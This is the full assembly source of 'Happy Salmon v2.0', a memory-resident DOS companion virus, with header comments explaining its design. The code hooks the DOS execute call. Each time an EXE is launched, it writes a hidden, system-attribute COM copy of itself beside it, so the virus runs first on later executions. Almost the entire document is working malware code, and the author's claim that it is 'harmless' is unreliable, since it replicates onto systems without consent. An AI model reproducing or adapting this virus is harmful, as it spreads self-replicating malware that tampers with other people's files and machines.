; Happy Salmon v2.0 - Why do we swim against the current?
;
; Resident, Encrypted Spawning EXE Infector
;
; This, like Happy Salmon v1 has shortcomings, but at least they are all
; new ones.
;
; When the virus first executes it goes resident at the top of memory
; allocating 1k of memory and reducing your mem by 1k. It doesn't show
; is memory checks for TSR's.
;
; It hooks interrupt 21h fuction 4B00h (execute file) and upon recieving
; a call creates an encrypted COM file and write it to disk. Upon the
; next execution the infected file will first run the COM file (giving
; the virus an opportuninty to go resident if it isn't already).
;
; It does nothing but replicate and is harmless.
;
        .model tiny
        .code
         org 100h

start:
       mov      ax,1234h                ; Our Arbitrarily Chosen Install
       int      21h                     ; Check
       cmp      ax,1111h                ; If Retruned the In Mem
       je       restore                 ; So Don't Do it Again

       mov      ax,cs
       sub      ax,0001                 ; ES = MCB
       mov      es,ax

       mov      ax,word ptr es:[0003]   ; Get the Size of MCB
       sub      ax,25h                  ; Kill 25h Paragraphs
       mov      word ptr es:[0003],ax   ; Set the New Value

       mov      si,word ptr es:[0012h]  ; Get Ammount of System Mem
       sub      si,25h                  ; Kill 25h Paragraphs
       mov      es,si                   ; Point Us There
       xor      si,si                   ; Offset 0
       xor      di,di                   ; Offset 0
       mov      cx,500h                 ; Move Us There
       rep      movsb

       push     es
       pop      ds

       mov      ax,3521h                ; Get old Int 21 vector
       int      21h
       mov      Old_21_Ofs,bx           ; Save Old Offset
       mov      Old_21_Seg,es           ; Save Old Segment

       mov      ax,2521h
       mov      dx,offset Int_21
       int      21h

       jmp      quit

restore:
       mov      bx,offset endheap        ; End of Program
       shr      bx,4                     ; Divide By 16
       inc      bx                       ; Round Paragraphs Up
       mov      ah,4Ah
       int      21h                      ; Resize Memory

       mov      stackseg,ss              ; Save Stack Seg
       mov      stackptr,sp              ; Save Stack Ptr

       mov      sp,offset endheap-offset start+100h ; Point Stack Here

       mov      si,offset spawn          ; Spawn Name
       int      2Eh                      ; Execute

       mov      ss,stackseg              ; Restore Stack
       mov      sp,stackptr

quit:
       mov     ax,4C00h
       int     21h                     ; Terminate

int_21:
       cmp      ax,1234h                ; Are we being paged?
       jne      no_check                ; Guess Not
       mov      ax,1111h                ; Guess So, Tell 'em We're Alive
       iret                             ; Interrupt Return

no_check:
       push     ax                      ; Save Registers
       push     bx
       push     cx
       push     dx
       push     si
       push     di
       push     ds
       push     es

       cmp      ax,4B00h
       jz       infect

exit_call:

       pop      es                      ; Restore Registers
       pop      ds
       pop      di
       pop      si
       pop      dx
       pop      cx
       pop      bx
       pop      ax

end_21:
            db      0eah                ; Far Jmp
old_21_ofs  dw      0                   ; To Original Int 21
old_21_seg  dw      0

infect:
       mov      si,dx
       mov      di,offset spawn+1
       mov      dx,di
       xor      ax,ax

exe2com:
       lodsb                            ; SI->AL
       stosb                            ; AL->DI
       inc      ah                      ; Counter
       cmp      al,'.'                  ; Check For Dot
       jne      exe2com

       mov      word ptr [di],'OC'
       mov      word ptr [di+2], 04Dh   ; Temporarily It's a ASCIIZ COM Name

       add      ah,3                    ; For Extension
       mov      byte ptr offset spawn,ah
       push     ax                      ; Save Size

       mov      cx,00100011b            ; Creat Our COM File
       mov      ah,05Bh                 ; Unlike 3Ch this Fails if File Exists
       int      21h
       jc       exit_call

       xchg     bx,ax                   ; BX=File Handle

       pop      ax                      ; Our String Size
       mov      word ptr [di],   'XE'
       mov      word ptr [di+2], 0D45h  ; CR+'E' Make Back Into EXE File

       mov      ah,40h
       mov      dx,offset start
       mov      cx,offset heap-start
       int      21h                     ; Write To Disk

       mov      ah,03Eh
       int      21h                     ; Close File
       jmp      exit_call

spawn  db       40,40 dup(?),13,'$'     ; Sloppy, but it works.

heap:
stackseg  dw     ?
stackptr  dw     ?
endheap:

end start

